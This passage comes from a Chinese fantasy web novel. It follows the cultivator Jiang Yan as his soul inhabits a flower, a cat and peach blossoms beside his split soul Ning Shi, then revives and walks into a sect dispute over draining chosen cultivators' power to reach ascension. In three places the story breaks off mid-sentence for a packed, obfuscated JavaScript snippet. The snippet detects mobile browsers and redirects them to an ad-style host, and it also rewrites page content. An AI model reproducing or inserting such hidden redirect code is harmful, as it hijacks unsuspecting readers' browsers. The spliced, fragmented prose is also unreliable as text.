小鸟踩在剑修头顶上,道:“这孩子,其实是宗翊从外面捡回来的,之前身体就不大好,这次活动有些剧烈,突然之间就没能挺住。” 江晏“哦”了一声。 啾啾又道:“还有分魂的事情。” “你看见刚才自己挨的那一下了吧。” 江晏点头,于是啾啾继续说下去:“你的神魂本来就不稳,突然遭到外力磕碰,那可不就是飞出去了嘛。” 江晏:…… 他难以置信了片刻,道:“就是这么简单?” 啾啾:“是啊。” 江晏一手撑起下巴:“唔……怪不得我跑着跑着突然没了记忆,原来是分魂连带着我从前的记忆一起跑了。” 啾啾抚翅,表示赞同。 江晏则是扶额,望向院中,看着他分魂的人生新起点。 接下来的事情,就和他记忆中是同样熟悉的模样了。 先是院中昏倒在地的少年渐渐苏醒,神色怔怔的,好似不明白自己为何会出现在这里。 接着是何照山出现,看见了少年的脸,又重复了曾经那场关于少年身份的对话。 最终,是两个仆役抬着少年,从这个院落的小门走出去。 院中恢复了寂静。 江晏站在原地,感受着自己的长叶随着风摇摇摆摆。 这是他失去一切记忆的地方。 也是他逃出生天的地方。 是他缺失了一部分自己的地方。 也是他能同时拥有两个甚至更多的自己的地方。 江晏突然间就想到了什么。 他轻声对啾啾问: “你说,我在这水仙花的身体上时,曾经回溯了时空的江晏,也会看着分魂,看着他倒在地面上,看到地面上我这一朵小花吗?” 啾啾慢吞吞说:“也许吧。” 江晏没有得到明确的答案,但这也无所谓了。 他的神魂转身坐下,在这株小小的水仙花中,等待着下一场时空动荡。 169. 浮生三千 江晏的神魂再次降落时,面前是一片荒原。 和前几次不同的是,这次,他并没有先附在什么东西上。 于是他的神魂飘荡在半空中,垂眼看着下风的景物,对啾啾道:“唔,老地方了。” 啾啾:“这种长满杂草的地方也亏你能认得出来。” 江晏便叹了口气:“怎么能认不出来呢——毕竟是两个自己人生发生转折的地方。” “竹城郊外的那一场合江宗大选,我入选了宗门,但他没有。” 显而易见,此时剑修口中的那个代词“他”,便是分魂了。 于是啾啾点点头,说:“那你能看出来这是哪段时间吗?” 江晏意识体摊开手:“估计也就是分魂落选后冲出来这会儿吧……我们往前飘飘,找找看。” 说罢,一人一鸟便在空中飘动着,江晏目光扫过地面上的种种,当看到一块凸出的岩石时,喊了停,随后又向下降落了几丈。 对着小鸟疑惑的眼神,江晏解释:“回溯时发现,当年我出了大选现场,这孩子就是躲在了这块石头后面。” “想来他现在就在此地附近。” 啾啾点头,追随着剑修的目光望过去,只见挨着这块岩石后不过百余步,果然是有个人影。 仔细看过去,依旧是那张熟悉的脸——果然是宁时。 江晏自然也是看清了,他心中微微一动,浮在了距离少年身侧不过半人左右的高度。 只见少年蹲在地上,是一个少见的、佝偻着的姿态。 他面无表情,江晏却能看到少年白玉石的侧脸上有几道水痕在反光。 这孩子哭得悄无声息但又撕心裂肺,一滴滴泪沿着他的下巴尖尖掉下去,砸在地面上,于是地上就堆叠出了几个因湿润而颜色变深的小圆点。 江晏看着他,沉默着。 ——即便是第二次见到这种场面,剑修依旧是有些不习惯。 他对少年轻声说:“别哭了。” 但少年自然是听不到的,依旧是低着头,闷闷地坐在原地。 江晏眼睁睁的看着他用手背抹了一把眼睛,还没来得及完全放回膝盖上,眸中就又泛起了点点水光。 江晏:…… 真难搞啊,他想。 之前那一次,分魂到底是因为什么才止住了这场汹涌澎湃的哭泣的? 剑修开始回想。 而与此同时,在他的视线之外,有某种生物踏着黄土,慢慢走了过来。 …… 几乎是转瞬之间,剑修便感受到了一股磅礴的吸引力! 和他曾经来到任何一个世界之初是同一般的吸引力。 剑修微微正色,正欲开口呼唤啾啾,却被这股大力席卷进了这世界的某处。 ……新的视野摇摇晃晃的,他眨了眨眼。 这次看清楚了,江晏发现,此时自己视线的高度,也不过相当于一个矮凳。 这种角度,倒是有几分熟悉,在从前小狐狸的世界中,他化形之前,便是这样的。 江晏就想扶额了——以目前这种状况来看,他变成的东西,极大可能又不是人类了。 那又会是什么呢? 江晏便低下头来,于是他看到了自己一双毛茸茸的前爪。 脚是雪白的,看起来有些圆润的弧度;在往上一些,是修长笔直的小腿,带着橘色的花纹。 江晏深吸了一口气,他大概对自己现在的身份有了个猜测。 与此同时,啾啾的声音在他脑海中响起: “你这次变成一只橘猫啦!” 江晏:…… 果然,事情和他猜测中的一样。 虽然并不知道变成橘猫有什么用。 江晏环视四周,在不远处发现了宁时。 于是剑修决定,既然不知道做什么,那就去陪着分魂好了。 说干就干,他迈出一只前爪,翘起尾巴,向宁时走了过去。 有了上一个世界小狐狸身体打底,再用现在这只小猫身体时,江晏便走得十分顺畅。 有那么一瞬间,他感到自己似乎真的变成了一只橘猫。 还是一只准备去捡一个哭泣的流浪人的威武霸气的橘猫。 他迈着自认为雄赳赳气昂昂的猫步,来到了宁时面前。 宁时听到了响声,便抬头,于是一只圆滚滚的橘猫便出现在了他面前。 这橘猫的眼睛也是同样圆滚滚的,不知为何,宁时甚至觉得它的目光有些类人的灵性了。 如果让江晏知道了他此刻的心中所想,剑修必定会笑出声来,并夸赞他的敏锐——也就是分魂,能隔着一具小肥猫的身体感受到自己的灵魂了。 但可惜江晏没有读心术。 所以他看着尚还挂在宁时下巴上的一滴泪珠,挪动着猫爪往前蹭了两步,在距离分魂不过半臂远的位置占地。 江晏看着宁时的瞳孔。 看的出来,即使是在悲愤中,宁时依旧是对突然出现在此地的橘猫产生了疑惑。 于是和剑修回溯时所见一样,宁时用力吞咽了一口,将还未发出声的抽噎憋回了肚子里。 他只是静静看着面前这只橘猫。 在和分魂的对视中,江晏就又自然而然地想起了上一个世界——不怪他走神,实在是这个高度和狐狸太像了。 剑修的思维便渐渐飘散开,想到自己曾经以狐狸的形态跳进分魂怀中,用毛茸茸的脑袋拱着对方,再用蓬松的尾巴缠上对方的手臂。 所以……江晏一边将视线放在宁时身上,一边想着,如果现在自己用猫猫的身体去和宁时贴贴,宁时会不会和从前一样,心情会好上那么几分? 实践出真知,于是江晏又向前迈了一步,试图用猫脑袋蹭一蹭他的膝盖。 ……但可惜现在的宁时是个阴森小孩,再加上此刻心情差极了,江晏硬生生被对方的眼神冻住了动作。 猫头终究是没有贴上宁时的膝盖,江晏脚下硬生生转了个方向,侧过身来对着宁时。 同时,本着看不到胆子就变大的原理,剑修头也不回,目不斜视,只是抬起身后的猫尾巴,轻轻勾了一下宁时的腿。 …… 这一下,宁时被他弄得是彻底忘记哭了。 他垂着眼,盯着身前这只胆大包天的橘猫。 江晏一时搞不清他的心思,试图回头挤出一个谄媚的笑。 但他甚至来不及将尾巴从对方身上扯下来,一种熟悉的吸引力陡然袭来! 江晏:…… 这叫什么,这就叫关键时刻掉链子。 于是他眼睁睁的看着自己的视野越扩越大——这标志着神魂已经从橘猫身上浮了出来,飘向空中。 而与此同时,地面上那只橘猫突然狠狠打了个机灵。 江晏干咳一声。 果然,只见这终于夺回了自己身体主动权的小猫灵魂,似乎反应不过来发生了什么事,愣了一瞬,随即在原地弹起来。 就连尾巴都有些炸毛了。 江晏和宁时:…… 然后他们就看着这只小肥猫脚下生风地向远方逃走了。 那橘黄色的身影渐渐小了,江晏吐出一口气,对啾啾道:“原来是这样啊。” 啾啾不明所以:“嗯?” 江晏轻声说:“当年回溯,我只是以为猫便是猫。” “却不料猫也是我。” 他想到了什么,就又笑了:“其实琢磨一下,也挺合理。” “愿意在这个时候、并且能在这个时候靠近我自己的,也只有我自己了。” 说罢,剑修又看着自己的分魂。 往事种种,比他记忆中的要丰富太多。 在他自己无知无觉的时候,原来已经和分魂有了那么多牵绊。 他在愈发明显的牵引力中,盯着宁时泪痕渐干的一张脸,直到视线模糊不清。 天旋地转。 江晏睁开了眼。 这次,他所附身之物,是浮在半空中的。 上天下地,但身后又没有依托,空虚极了。 江晏:…… 按照他的经验来讲,他可能变成了一棵树,但这个角度,又和曾经的桃树有微妙的不同。 于是剑修望着啾啾,用目光表达着自己的疑惑。 啾啾:“……你还记得云山幻境吗?” 江晏点点头:“自然是记得的。” 他举目望向幻境中高远的天,能看到从视线边缘横斜过来的几条花枝,道:“罢了,看出来了,我是变成一朵桃花了。” 他和啾啾说话间,头顶就撒下了一阵桃花雨。 江晏向上望去,只见那已经成为胜意门门主的宁时,曲着腿,坐在桃树一条高高的枝丫上,漫不经心地摆弄着身侧的枝条。 于是从他手中,倾泻出来刚才那场粉红。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏看到宁时轻轻笑了,他面对着剑修,大模大样地跳下树。 动作间,树枝摇曳,便下起了一场更为漫长浓烈的桃花雨。 飘飘扬扬,绯红漫漫。 层层叠叠的粉红覆盖了剑修的肩头,也覆盖了掉落在花丛中的江晏。 他眨了眨眼睛,在残余视线的一角,看到了在分魂瞳孔中剑修发丝上的一抹花瓣。 漫天桃花颤动着跌下,彻底覆盖了他的视线。 江晏看不到幻境中的画面了,透着光,他的世界从浅粉变为浓粉,再到彻底分不出颜色的漆黑。 …… 后来的后来,江晏又成为过其他什么东西。 有时候是江峰主窗前一只蹦来蹦去的小鸟。 有时候是宁门主屋中那一排假脸皮其中的某一张。 也有的时候,他是穿过修亭峰山巅的一阵春风。 也是落在胜意门院中的一场骤雨。 白雨连珠,在地面汇聚起的水流沿着引水沟哗哗流走。 就像江晏从前的日子。 在他不知道结束了第多少次附身于物的经历后,在经过了第多少次熟悉到不能再熟悉的吸引力后,终于,他再次回到了那片虚空中。 江晏睁开了眼睛——面前依旧是那只小肥鸟。 啾啾蹦蹦跳跳,尾巴翘得高高的。 江晏终于发出了声音,他感觉自己的嗓音在长时间的穿越中有些哑了:“要结束了吗?” 啾啾道:“对,其实更准确地说,要开始了。” 江晏大概明白了什么:“我的分魂收集好了?我要回去了?” 啾啾点头。 终于得到了预料之中的答案,江晏本该高兴,同时却也有更多不确定浮上了心头: “等我回去之后,分魂的身体也会像我一样,自然变好吗?” “他会来找我吗……不对,他到底记不记得我?” 小鸟像曾经千百次一样,跳上他的头顶,然后大声道: “分魂当然会记得你,不仅如此,还会记得你们在大小世界中所发生的一切。” “毕竟——又有谁会自己抛下自己呢?” 170. 原世界 他山之石 在神魂猛然一沉后,江晏感到了现在附身的这具身体,于他的神魂,是前所未有的契合。 剑修便有了预感。 他闭着眼,在一片漆黑中,感受到这身体的心跳从无到有。 砰,砰砰。 他的胸膛震动着,灵力缓缓流淌过筋脉。 江晏睁开了眼。 在眼前,他的头顶上,是一片灰黑色的石壁。 他又侧过身子,抬起手臂,欲看向自己的身下。 ……姿势没有调整成功,他的手肘磕碰到了什么坚硬的东西上。 江晏便抬眼看过去,只见他应是被放进了一口深深的箱子里,四周都被颇有厚度的青玉包围了。 只留他整个人正面上方没有遮挡。 江晏:…… 他好像被放进棺材里了。 意识到这一点后,他整个人仰面坐起,扶额,深深吸了口气: 光看环境,这里好像还是宗门埋葬历代掌门峰主的地宫,就连他身下这口玉棺,估计也是来历非凡,有着保存遗体不朽的功效。 ……也着实冻人。 这里的温度对火灵根修士不太友好,江晏起身,抬脚迈出了玉棺。 关节活动顺滑,身体控制无碍。 他便放心许多,口中一边唤着啾啾,一面用灵力在此地掐出了一面落地全身镜。 镜子边缘带了一圈跳跃的火苗,内部映出了长身玉立的剑修,和他肩头上的一只小鸟。 江晏低头,扯了扯自己完好无损的领口——应该是被雷劈后白一苇重新给他换了身新的宗门峰主常服。 然后他露出大半个胸膛,向镜中望去。 啾啾大惊:“你要干什么!你何时变得如此开放了!” 小鸟是一如既往地聒噪,江晏已然习惯了,道:“只是看看我这身体,有没有被雷劈坏。” 啾啾飞到他身前,用鸟爪勾起剑修的衣襟向上飞,提到了他脖颈下,还不忘叽叽喳喳道:“你的神魂归位,身体自然是修复完全了——快点把衣服穿好,不用看了。” 江晏“哦”了一声,抬手慢慢整理好衣服,提脚转身的瞬间,身后那面火镜便消失地无影无踪。 他依照着记忆中的方位,向地宫的门口走着。 这毕竟是埋葬先辈的地方,不便使用灵力疾行,江晏就一步步走着。 合江宗底蕴深远,这地宫规模并不小,于是留给剑修来厘清自己思路的时间就很长了。 漆黑的岩洞中,只能看到一大一小两个红点。 大一点的在地上缓缓移动,小一点的则是围绕在大一点的周围,飘忽不定。 正是江晏和啾啾。 啾啾比江晏还要先开口:“你不好奇你如今的修为吗?” 江晏闭了闭眼,道:“一时间竟是忘了……这些年间,我不做剑修很久了。” 啾啾飞上他发冠,立定:“你当时是化神期突破合体期,被雷劈过,现在又神魂归位,也算是渡劫成功了。” “恭喜你正式踏入了合体期。” 江晏听到此处,脚步微微一顿,轻声说:“合体期啊。” 他语调未尽,似是还有什么话,啾啾不明所以,但还是点了点头。 于是江晏就揉了揉它的脑袋,继续道:“我好像知道从前自己未能渡过雷劫的原因了。” “合体期,神魂融于万物。” “而渡劫那时,我的神魂根本不完整。” “自己和自己的神魂尚不能相融,又何谈融于万物呢?” “天降雷劫,并非是苛待我。” “而是给了我这么一个机会,让残缺的自己成为完整的自己。” 江晏继续向前走着,攻玉剑上的流苏同他衣袍相贴,间或发出细碎的摩擦声。 于是剑修又想到了什么,轻笑一声,道:“如今经历种种,回头再看这攻玉剑,也是有趣。” “兰真人把剑交给我时,只道‘他山之石,可以攻玉’。” “我所认为的,也不过是师傅让我平日里多向别人学习自省。” “却不料,到头来竟是要自己去陪着自己,去把自己的模样挖出来了。” 啾啾听他说了这些,似懂非懂:“那你的分魂就是石头了?” 江晏无奈:“你啊……也许我是石头呢?” “宁时就是我,我也就是他,我们二人又何必去争那玉与石头?” “如果真要细细道来,他没进宗门,我没有记忆,或者再往前推,我们同样在雨中想离开一切。” “人生多有憾,无论是江峰主的路,还是宁门主的路,都不好走。” 地宫的大门在一人一鸟的交谈声中慢慢近了,江晏抬起手,贴上冰冷的机关,用力按下。 震颤从山体深处产生,逐渐延伸到剑修脚下。 手臂厚度的银制大门出现轻微晃动,地宫轰鸣。 在訇然中开的地宫门前,江晏平视远方,语气如常,对啾啾道: “只有我和分魂在一起的时候,也许才有了圆满吧。” 啾啾点头。 它同剑修一样,在透过地宫大门开启间隙的日光中,眯了眯眼。 江晏阔步走出地宫,合江宗内久违的草木气息萦绕着他。 他举目四下望去,山还是山,水还是水。 宗门的景致,和他当年被雷劈倒时并无什么不同。 就连此时他站在地宫上,隔着树枝和重重山影,依稀可以窥见主峰和修亭峰的轮廓。 江晏收回目光,扶了扶头冠,依照着记忆中合江宗的模样,决定先前往主峰的方向——毕竟白一苇在那边,他死而复生这件事,总归是要让自己的掌门兼亲师兄先知道。 至于分魂……江晏想,想来宁时也是已经恢复了记忆,加上分魂又是一个厉害的符修,此事应当不急。 更何况,他和分魂前前后后一起经历了数百年的时间,此时这短暂的分离,更像是小别胜…… 脑子不受控制地歪了一下,江晏脚下不稳,差点原地摔倒。 他无奈扶额,收回心思——出了地宫,便可以御剑而行了。 还是老老实实先去白掌门那里好了。 江晏心思只那么微微一动,他腰间的攻玉剑便发出一声清鸣,随即自发从剑鞘中弹出,浮在地面上。 江晏便虚虚踩了上去。 于是眨眼之间,只见此地残影一晃,空留树叶在阵风间婆娑作响,竟是人影也看不到了。 剑修浮在山间,垂眼看着脚下。 宗门内依旧是熟悉的模样,各个山头上大小庭院错落分布,无数弟子穿梭其间。 途中经过了修亭峰,江晏低头看去,只见山顶上的竹林似是茂密了不少。 他便突然想起了什么,问啾啾:“说起来,我这才苏醒,竟是不知道今夕何夕了。” 啾啾便报了个时间。 江晏听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178265|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神色滞了片刻,才道:“已经这么久了吗?” “怪不得这里的竹林都长高了。” “竟是距离雷劫,已然十年过去了。” 啾啾点头:“正是,不过修真界和人间有别,也许和你离开时没什么变化。” 这话在理,江晏点点头,却还是有几分犹疑:“罢了,我先去告知掌门师兄一声。” 他便未在修亭峰上再多停留,而是踏着攻玉,继续向前飞去了。 合江宗的主峰是凡繁峰,越接近此地,江晏越是能看到浮在空中的守卫多了起来。 这些守卫见他踏剑而来,又是一张生面孔,不仅都正了神色,扬声问道:“请来者通报身份。” 江晏便道:“修亭峰……前峰主,江晏。” 他一时间不确定在他“死去”的这十年间,白一苇有没有给修亭峰安排新人,便在峰主二字前加上了“前”。 剑修说完这一番话后,只见面前几个守卫似乎对他口中的什么峰主和前任峰主并不感兴趣,都只是睁大了眼,口中发出了同样的惊叹: “江峰主?” 江晏见他们如此,第一个反应便是白一苇居然没有给修亭峰峰主换人。 第二个反应便是……他这番在外人眼中算是死而复生,面前这几人居然是毫不惊讶吗? 他这样想着,守卫们也终于是回过神来,在江峰主面前你捅我一下我捅你一下,虚着眼神小声议论起来: “欸,大哥,江峰主不是很多年之前就被雷劫……” 他口中被称为大哥的那人愣了愣,随即点点头,道:“也是啊。” 他们身旁,一位瘦小守卫小声嘟囔:“可是如果是江峰主的话……想来也不会那么轻易就被雷劫劈到陨落吧。” 他话音落地,两位守卫脸上都浮现了思索,片刻后竟都是点了点头。 站在他们面前的江晏:…… 他有些无言了,他的“江峰主”这一层身份,居然比自己想象中要有威严地多。 但事不宜迟,剑修不打算和这几个守卫磨蹭了。 他只得拿出了随身携带的身份玉牌,注入灵力,使其亮起,递到几人面前。 三人聚拢过来,便被青玉上被竹纹环绕的几个字闪到了眼: 修亭峰峰主,江晏。 合江宗的身份玉牌是每人只有一块的,并且认主,只有玉牌主人的灵力,才会让玉牌上显示出符合的姓名身份。 这是造假不得的。 事情变得明晰起来,三个守卫看看玉牌,又看看剑修一张俊脸,又相互对视一眼。 最终是齐齐后退一步,让出供人通行的道路,放下兵器,异口同声道: “晚辈恭迎江峰主!” 这几人的声音说大不大,说小不小,但也是足够让附近路过的修士能听见的程度。 于是不少人纷纷侧目,去看那“江峰主”,是否正是他们心中所想的那一位。 果不其然,就见到了一个高挑的身影,浮在那天下独一份的攻玉剑上,身后发带飘摇—— 除了修亭峰的峰主还能有谁? 于是在江晏见到白一苇之前,“合江宗修亭峰江峰主又活了”这个消息,业已在宗门内迅速扩散开来。 甚至隐隐有了外传的趋势。 但江晏本人并不知晓。 他只是携着攻玉,带着啾啾,走过两排对着他的脸尚在愣神侍卫,踏入了白一苇的观水殿。 171. 飞升之困 刚一进入观水殿,江晏便嗅到了几分不同寻常的气息。 往日里,这里常是空荡荡的,只有白一苇一人坐在大殿尽头的桌前看着些公文,或者偶尔同峰主长老们讨论一些宗门事宜。 江晏看着眼前的场景,微微皱了皱眉: 现在观水殿中的模样,甚至可以称得上是……热闹。 除了白一苇和几位合江宗的峰主坐在殿上,在阶下还聚了一片乌泱泱的修士,估计能有近千人之数。 仔细看过去,隐隐分成了几派。 江晏打量一番,果然从来人各不相同的服饰上确认了,这些大都是除了合江宗之外的各个门派的。 仅仅是这么远远看过去,他就已经认出了飞霞苑、古曲宗等等。 江晏便有些头大了——在他昏迷的这十年之间,究竟发生了什么! 以至于让修真界叫得上名字的门派,一时间竟悉数汇聚于此! 若是他们在讨论什么东西也就罢了,可此时整个大殿连空气都是沉默的,几乎所有人都垂首低眉,似在静静思考,又或者是等待着什么。 …… 眼前的景象,确实不适合直接找到白一苇说明情况了。 江晏迅速从门口闪开,躲到了一排队伍末尾——仗着此地人多,找个角落偷偷站定,用传讯灵石告诉白一苇发生了什么也不迟。 他从储物的玉扳指中取出传讯灵石,一遍用灵力输入了几个字,一边想着,白一苇可千万别以为他是假冒的…… 还没来得及动用灵力发出去,一道威严的声音自前方传来: “不可。” 江晏先是一抖,差点以为自己被旁人当成了混进来的外人被揪出来。 随即又听清了这道声音的内容和音色——居然是他那位掌门师兄的。 他手下动作顿了顿,思绪同时飞转起来: 师兄说“不可”,到底是不可什么? 此时又这么多人聚在这里,是在讨论这件可或者不可的事情吗? 能放在合江宗和一众宗门宗主面前来讨论的,一定是正事,还是那种很大的正事。 江晏便觉得,相较于此,自己死而复生……也算不得是什么事情了吧。 他便又默默将传讯灵石收回,心想,还是先不要打扰师兄议事好了。 一边换了个更舒服姿势站定,后背悄悄靠在观水殿中的柱子上——他毕竟昏迷了太久,此时神魂归位到了原本的这具壳子里,虽说是活动无碍,但终归是有些虚弱的。 而在他身旁四周,在白一苇那声“不可”过后,窃窃私语的声音,伴着人说话中口中的热气,逐渐蒸腾起来。 江晏眯着眼睛,被种种嘈杂灌了一耳朵,细细听去,内容无非是“合江宗这种作为没有担当”“置修真界于不顾”等等。 这些话有些重了,江晏忍不住召来啾啾,问:“所以这十年间,到底发生了什么?” 啾啾还未来得及回答,在观水殿中,一名长老站出,先是面容恭谨地对白一苇行了一礼,接着缓缓开口。 说出的内容却不像动作一样有礼了,江晏只听他道: “合江宗作为修真界名门大派,此时更应该挺身而出。” “白掌门却见死不救,这等行径,令人不耻!” 在十年之前,还从来没有人敢和合江宗的掌门这样说话。 江晏完全听清楚了这长老说了什么,一时间脑中嗡嗡作响,差点要跳出来把人扫地出门了。 但白一苇也并非等闲之辈,他听了这胡言乱语,也只是面色微肃,道:“并非合江宗见死不救。” 他下颌紧了紧,片刻后憋出来一句:“你们说的方法,实在是非君子所为!” 这句话说出口后,白一苇似乎有些止不住情绪了,继续道: “我知道你们都是瞒着各自的宗门,联络了这么多人,一起来合江宗请求帮忙的。” “但你们为什么不敢通过你们的宗主来找我?” “是因为心里也知道,他不会认可你们的吧?” 他深深吸了一口气,吐出,缓缓道:“不要再来找我了,我自然也是不同意的。” “事情根本不能这么办!” 这句话说完,下边的议论声更大了。 因为昏睡了十年而失去了所有头绪的江晏:…… 他扶额,试图从整个大殿的叽叽喳喳中拼凑出几句有用的信息。 还好,大殿上又有人站出来了。 这次是一位中年修士,他缓声道: “白掌门,话不能说这么绝对啊。” 白一苇只是冷冷看着他。 中年修士继续道: “在场所有人都知道,修真界已经千年没有人能飞升了。” “现在有了个这么能让至少一般人飞升的法子,怎么能坐视不理呢?” 中年修士的语气好像带了钩子,诱导着:“不过是只需要那些被选中的人贡献出自己的修为罢了。” “用他们的修为,来重新搭建起通往上界的天梯。” 旁听的江晏:? 内容过于震撼,以至于他在每个字都听懂了的同时,又好像没法理解这句话了。 但好在坐在殿上的白一苇怒而拍案,驳斥了对方一番,才算让江晏确定了自己内心所想。 只听白一苇道:“荒唐!” “你们想飞升求得长生,但其他人的命便不是命吗?” 江晏:…… 他大概是听明白了。 在他昏迷的这十年之间,一些修士可能想要飞升想到要发疯了,不知是哪几个始作俑者凑到一起,想出了现在这个摆在白一苇面前的馊主意—— 用一些所谓被“选中”人的修为,去搭建供修士飞升的天梯。 是如何被“选中”的暂且不论,江晏想,谁的修为都不是大风刮过来的,凭什么一句话就让人把这几十年甚至几百年几千年的努力全都交出去? 他听得有些气血上涌,换了个姿势,双手抱在胸前,继续听这些人还能胡言乱语出什么东西。 殿前,那中年遭了白一苇驳斥,脸上却并未露出不满,只是缓声道:“这些被选中的修士,都是南境那边推算出来的。” “掌门不信我们,也总应该相信南境的名气吧。” “或者……”这修士话锋一转,竟是疾言厉色,“难道是白掌门知晓了自己也在被选中之人的行列,因为贪图这些荣华富贵,所以连这些修为都不愿意散出来,帮一帮全天下可怜的修士们吗?” 还不等白一苇回答,这中年修士又继续说下去:“可是啊,有的门派连死去门主的修为都愿意捐献出来。” 他伸手一挥,只听得声沉闷的巨响过后,一个漆黑的长箱自空中落在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191676|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,微微摇晃。 江晏盯着这足有一丈长的箱子,中年修士刚刚那半句“死去的门主”在他心中回荡。 ……分魂就是胜意门的门主。 他和分魂同属于一个灵魂,自己渡劫失败,想来分魂的身体也会受影响。 可是如今自己已经回到了原本的躯体中,那分魂…… 江晏脑中一下子乱糟糟的,几乎是下意识地提起步子,就要向前走去。 啾啾的声音在他脑海中响起:“不必着急,分魂无事。” 于是他刚刚迈开的腿在空中停住了,江晏默默借势往前蹭了半步,装作若无其事的样子,一边在脑海中问啾啾: “那他在哪里?” 啾啾目光飘了飘,却还是用翅膀点了点远处那口箱子。 江晏:“……所以那是一口棺材吧。” “像我刚刚苏醒时所躺着的东西一样。” 啾啾点头:“是了,他比你苏醒要晚,现在才快要醒来。” 江晏道:“是因为要修复神魂的原因吗——毕竟他的碎片落在了不同的小世界里。” 啾啾说:“是了,不过话说,你打算怎么办?” 小鸟看了眼殿内众人,对江晏意有所指道:“在这个情境中苏醒……” 江晏笑了笑,却是平静下来:“那可有好戏看了。” 他这边和啾啾说着话,而在大殿内,几乎所有人的目光都因为刚才那一声巨响,汇聚到了这口箱子,以及箱子面前的中年修士身上。 修士望着白一苇,目光倨傲:“白掌门,我们真的很需要你的帮助。” 江晏只见他师兄嘴角抽搐,应该是马上要被这群二百五气到破功了。 果然,白一苇深深呼出一口气后,拍案而起:“我的事情暂且不提,倒是要先问问你,你身后,那是什么东西?” 修士笑了:“正如在下之前所说,有些门派,是关于交出故去旧门主的修为的。” 话音落地,他身后站着的一位瘦小修士却是突然跪倒在地,哭喊道:“请诸位为我们门主做主!” 在满堂寂静中,这修士继续撕心裂肺地喊道:“我们是胜意门的,门主十年前是发生过意外,却根本不是此人所说的故去,分明只是昏迷了!” “我们本来就不像其他宗门善于武斗,从此之后只是窝在一起过日子。” 修士伸手一指,指向刚才慷慨陈词的中年修士:“是半个月前,他带着一行人强行闯入我宗。” “口中说着一些飞升之类的话,一边抢走了门主的……身体。” 他咬了咬牙:“我们自然是打不过他们的,这一路来忍辱负重,就是为了趁着人多把这件事捅到白掌门面前。” 这修士擦了擦眼泪,站起身来,在千双眼睛的注视中,对白一苇说出了一段话: “我们门主昏迷时,听说是贵宗的江峰主在渡劫。” “不但日子一模一样,就连时辰也相同。” “我们门主是昏迷了,可自那之后,外界也从来没有见过江峰主。” 修士似乎下定了什么决心,坚定道:“修真界的巧合未必是巧合。” “请白掌门帮我们留下门主,就当是为自己的师弟积德了。” 旁听的江晏:…… 他心头狂跳,目光向上移去,却只见白一苇独立在殿上,目光晦涩不明。 172. 宁时苏醒 在一片寂静中,白一苇缓缓开口,声音不大,却足以让在场的每个人都听清: “你们是想飞升想到疯了吗?!” “闹到合江宗面前不说,”他指着那口箱子,怒道,“连这种事情都干的出来?” “把箱子留下,我自会在事后归还给胜意门。” “其他人都给我滚出去!” 宽阔的大殿中,啾啾的虚影跳上江晏肩头:“我倒是从未见过你这位师兄发过如此大的火。” 江晏:“……别说他了,我也想打人了。” 他站在一排排队伍末尾,冷眼看着带头的那位年老修士召出了本命剑——居然是要动手的模样! 江晏大惊:“啾啾,他们是怎么有这个胆子的?” “这可是对着合江宗掌门啊!根本打不过啊。” 啾啾无奈:“你们剑修就是思维太简单了。” “白一苇要是动手,自然可以全身而退,但在场的修士估计要挂彩,等他们出去将此事传开,合江宗的名声就要完了。” “而白一苇不动手,也同样麻烦,这些人身上应该带了特殊的发器,搞不好你的掌门就要被绑走了。” 江晏:? 他抬头看着那群蠢蠢欲动的修士,感觉额头上青筋直跳,口中道:“算了,我上去助师兄罢。” “按道理来讲,一个刚刚苏醒的剑修,脾气爆一点也是正常的。” 啾啾:“……所以你想做什么?” 江晏已然正色,身形向队伍外踏出了一步,回答道:“我要去揍他们一顿。” 啾啾:…… 行吧。 毕竟一个剑修铁了心要做什么事情的话,几乎是无法阻止的。 观水殿中,气氛剑拔弩张,那年长修士的右手握在本命剑上微微颤动,混战几乎是一触即发。 这时,聚集在殿中央的修士们,只听得从四面八方传过来一声“住手”。 清清亮亮,但却带着一股强硬,分明是用灵力送进众人耳中的,确保每个人都听得清清楚楚。 在场所有人便神色一凛——这声音不是他们刚才听到的,属于白掌门或其他长老中任何一个人的。 但其中蕴含的灵力却直白地告诉众人——来者实力非凡。 这突如其来的造访者不知身份立场,在修士中迅速引起了一场小小的骚乱,众人纷纷左顾右盼,去寻找这声音的来源。 却只见自大殿正门阔步走来一道身影,沿着透过大门落在殿中一道日光徐徐向前。 他玉袍长剑,头上束冠,脸却因为逆着光隐在了一团阴影中,看不太真切。 只能看得清他一身被照耀到近乎于金色的白衣上,在行动间暗纹浮出的点点流光。 他双手修长,手中的剑也修长。 这剑也是非凡,虽说还未出鞘,但已隐隐有压迫之势。 每当这剑修向前迈出一步,将要越过身旁的修士时,那些修士便难以控制地后退一步。 于是剑修所行到之处,便空出宽阔的一条通道。 他就这样一路走到了大殿中央,白一苇面前。 在剑修身后,是无数的眼睛,目光全聚在他身上。 